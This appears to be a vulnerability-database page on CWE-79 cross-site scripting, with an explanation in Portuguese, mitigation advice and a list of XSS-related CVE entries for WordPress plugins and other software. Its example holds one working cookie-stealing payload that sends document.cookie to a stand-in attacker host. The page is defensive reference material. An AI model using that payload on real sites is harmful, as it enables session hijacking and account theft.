Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-50447MEDIUMWordPress Envo's Elementor Templates & Widgets for WooCommerce plugin <= 1.4.19 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-50461MEDIUMWordPress EmbedPress plugin <= 4.0.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-7877MEDIUMWP Recipe Maker Premium <= 10.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wprm-call-to-action' ShortcodeEPSS 0.3%CVE-2026-37468MEDIUMCross Site Scripting vulnerability in BeeHome MyBeeHome before 2025-11-01 allows a remote attacker to execute arbitrary code via the ProfileEPSS 0.3%CVE-2026-91122HIGHDiscourse: Chat MessageBus delivers read-restricted messages to unauthorized usersEPSS 0.3%CVE-2024-45456MEDIUMWordPress WP Meta SEO plugin <= 4.5.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-32844MEDIUMXinLiangCoder / php_api_doc Reflected XSS via list_method.phpEPSS 0.3%CVE-2026-15889MEDIUMAruba HiSpeed Cache <= 3.0.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post ContentEPSS 0.3%CVE-2026-42839MEDIUMERPNext 16.16.0 - Stored XSS in POS cart item renderingEPSS 0.3%CVE-2024-47390MEDIUMWordPress Jeg Elementor Kit plugin <= 2.6.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-86311MEDIUMPhoto Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.44 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2026-107754MEDIUMGeoDirectory <= 2.8.190 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Image TitleEPSS 0.3%CVE-2026-1097MEDIUMThemeRuby Multi Authors <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'before' and 'after' Shortcode AttributesEPSS 0.3%CVE-2024-50446MEDIUMWordPress Futurio Extra plugin <= 2.0.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-2387MEDIUMEvent Organiser <= 3.12.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via eo_events ShortcodeEPSS 0.3%CVE-2025-7486MEDIUMEbook Store <= 5.8012 - Authenticated (Administrator+) Stored Cross-Site Scripting via Order DetailsEPSS 0.3%CVE-2026-12536MEDIUMAvada Builder <= 3.15.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Module TitleEPSS 0.3%CVE-2024-10848MEDIUMNewsMunch <= 1.0.35 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-14069MEDIUMSchema & Structured Data for WP & AMP <= 1.54 - Authenticated (Contributor+) Stored Cross-Site Scripting via User Custom SchemaEPSS 0.3%CVE-2026-1279MEDIUMEmployee Directory <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_title' Shortcode AttributeEPSS 0.3%